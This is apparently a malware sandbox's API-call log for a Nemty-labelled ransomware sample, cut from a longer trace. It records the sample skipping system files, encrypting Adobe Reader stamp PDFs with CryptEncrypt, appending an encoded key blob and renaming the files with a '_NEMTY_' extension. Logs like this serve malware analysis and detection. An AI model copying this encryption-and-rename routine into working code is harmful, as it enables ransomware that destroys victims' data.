[0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.750] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.751] Sleep (dwMilliseconds=0x5) [0188.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2427c230, dwHighDateTime=0x1d561e8)) [0188.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2427c230, dwHighDateTime=0x1d561e8)) [0188.765] GetLastError () returned 0x0 [0188.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.765] GetLastError () returned 0x0 [0188.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.765] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.765] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.765] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0188.766] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="cPnikeEGp0odKSJs5aCdfVGeD2UMOD5ocHStYGYdWKM4oud6YEpYtzV3cnIGjdfY\r\n/s2VkTLxc75SWbw+Uff6oE3JA12tXqDF6n9Zf1o/CD0e0eNCCiuwInd0W72aj4Uz\r\nYXQncMkAfR0pzBZxSRcrp+CWlCYiF4/pXxBaKJlr0wlsFSujqKJv1f9VO4eV8ExN\r\nH0XdPSfkuVWgX/UDMtZF2cur/NAjnuaxIcSA0aYwvfLPiy4x42yqarwWk14Pq5/o\r\nTTcVqZExE71cFclDBX6a94A068OTsIDSZWW5ZmZUY12PyRaxYu78h3goTJK2iBLv\r\nS4XeIkpS5JNaeBlseuJmWA==\r\n", pcchString=0x653df5c) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0188.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.766] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=36995) returned 1 [0188.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9080) returned 0x6352c48 [0188.766] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.766] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9080, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9080, lpOverlapped=0x0) returned 1 [0188.770] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.770] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9080, lpOverlapped=0x0) returned 1 [0188.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.771] SetFilePointer (in: hFile=0x320, lDistanceToMove=36995, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9083 [0188.771] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.771] CloseHandle (hObject=0x320) returned 1 [0188.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0188.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.771] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0188.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.772] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0188.772] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0188.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.773] Sleep (dwMilliseconds=0x5) [0188.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x242a2390, dwHighDateTime=0x1d561e8)) [0188.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x242a2390, dwHighDateTime=0x1d561e8)) [0188.773] GetLastError () returned 0x0 [0188.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.773] GetLastError () returned 0x0 [0188.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.774] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0188.774] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="wEnpgu8sGacbCB5PyF05GGoXtmHrjUH5OoK/JW+Y6dMmnYdldI3MWuQ/tBhcG50v\r\npMuZZ/d8driLh/ELlFXdq8NZq0LkyV6RaieQSK47lHTPXA+548y6JaXO34lf5Ngu\r\nGoyBrvAtI6Zp7dT/0QmWFmfE1ObxrD54OJJRq9IaGNu8OsL+kf8QC6+MVLEI/qMg\r\nmCgkZqiDvngTX/N0G+1xkQL/ipBl0Uh6vqLvSVOUhSBXsfVE6uNcuh8R33cWeIK2\r\n17KjRP3U3U+3qTHtp6GGvb2XD6jMkry3rvTMPuFOn79vS6LqQbN57hDa4aJpXMCS\r\n+edXZ7ZiByepXgVxMzO4jA==\r\n", pcchString=0x653df5c) returned 1 [0188.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0188.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.774] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0188.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.774] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.774] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.783] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.783] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.783] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0188.783] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.784] CloseHandle (hObject=0x320) returned 1 [0188.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0188.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.784] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf._nemty_kgobjgd_")) returned 1 [0188.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0188.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.785] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b14, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.785] lstrcmpiW 